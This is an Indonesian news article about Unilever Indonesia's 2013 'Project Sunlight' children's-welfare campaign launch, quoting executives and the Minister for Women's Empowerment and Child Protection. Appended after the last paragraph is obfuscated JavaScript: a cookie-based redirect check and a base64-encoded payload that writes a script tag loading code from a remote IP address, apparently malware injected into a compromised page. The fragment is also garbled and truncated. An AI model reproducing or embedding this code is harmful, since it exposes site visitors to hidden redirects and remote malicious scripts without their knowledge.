Menjelang usianya yang ke-80 tahun pada 5 Desember 2013 mendatang, Unilever Indonesia meluncurkan kampanye "Project Sunlight" yang juga bertepatan dengan Hari Anak Internasional (yang jatuh tiap tanggal 20 November). Project Sunlight merupakan sebuah inisiatif global yang dilakukan untuk meningkatkan kesejahteraan anak-anak internasional dan dilaksanakan di empat negara lain, yaitu Brasil, India, Amerika Serikat dan Inggris.
(Kiri-kanan) Peter Ter Kulve, Presiden Komisaris PT Unilever Indonesia Tbk merangkap Executive Vice President Unilever SEAA (wilayah Asia Tenggara, Australia dan New Zealand) dan Linda Amalia Sari Gumelar, Menteri Negara Pemberdayaan Perempuan dan Perlindungan Anak RI;
(Belakang): para Brand Ambassador dan pihak Unilever, saat peluncuran kampanye Project Sunlight, di Jakarta, pada Rabu (20/11).
Peter Ter Kulve, Presiden Komisaris PT Unilever Indonesia Tbk. merangkap Executive Vice President Unilever SEAA (wilayah Asia Tenggara, Australia, Selandia Baru), mengatakan, melalui Project Sunlight, Unilever meluncurkan sebuah film pendek besutan sutradara peraih Oscar Errol Morri yang diharapkan bisa menggerakkan orang di seluruh dunia untuk hidup secara lebih sustainable demi masa depan anak-anak.
“Jadi kami ingin mengajak masyarakat untuk menonton film ini, melakukan tindakan nyata untuk memulai suatu perubahan menuju esok yang lebih cerah, serta bergabung dalam gerakan lewat channel digital yang dapat diakses di www.projectsunlight.com,” ujar Peter Ter Kulve.
Menurutnya, untuk setiap pembelian tiket film pendek tersebut, secara otomatis akan mendonasikan sumbangan untuk 2 juta anak di dunia, antara lain penyediaan 1 juta makanan tambahan untuk anak sekolah di Indonesia. Dalam kampanye global ini, Unilever juga menggandeng mitra Yayasan Unilever seperti World Food Program, Save the Children, dan UNICEF.
Sementara, Sancoyo Antarikso, External Relations Director and Corporate Secretary PT Unilever Indonesia Tbk. mengungkapkan, “Selama 10 windu berada di Indonesia, Unilever telah menikmati pertumbuhan yang berkelanjutan bersama dengan masyarakat Indonesia. Oleh karena itu, anak-anak dan generasi mendatang—yang kelak akan menjadi konsumen kami—merupakan faktor kunci dalam kesuksesan kami.”
Lebih lanjut ia menjelaskan sebelum mengajak orang untuk melakukan action, Unilever juga telah melakukan sejumlah aktivitas internal lewat deretan brand-nya. Diantaranya, Lifebouy dengan kampanye cuci tangan pakai sabun, Pepsodent dengan kampanye menyikat gigi pagi dan malam untuk mengurangi lubang pada gigi.
“Kini, menjelang ulang tahun ke-80, kami melakukan berbagai kegiatan yang melibatkan karyawan, antara lain penghijauan sekolah di berbagai lokasi di Indonesia dengan 80.000 pohon dan tanaman,” kata Sancoyo yang mengatakan bahwa ungkapan Project Sunlight diambil dari kata 'sunlight' berarti sinar matahari–mencerminkan peluang dan optimisme.
Linda Amalia Sari Gumelar, Menteri Negara Pemberdayaan Perempuan dan Perlindungan Anak Republik Indonesia yang juga hadir dalam peluncuran, mengapresiasi yang dilakukan Unilever melalui kampanye Project Sunlight sebagai bentuk komitmen yang kuat dari dunia usaha. “Dalam mewujudkan dunia yang lebih baik dibutuhkan kolaborasi dari semua pihak. Pemerintah tidak mungkin bekerja sendiri, perlu ada dukungan dari masyarakat, termasuk juga dari pihak swasta,” pungkas Linda. function getCookie(e)\(\)\\\\/\+^])/g,"\\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)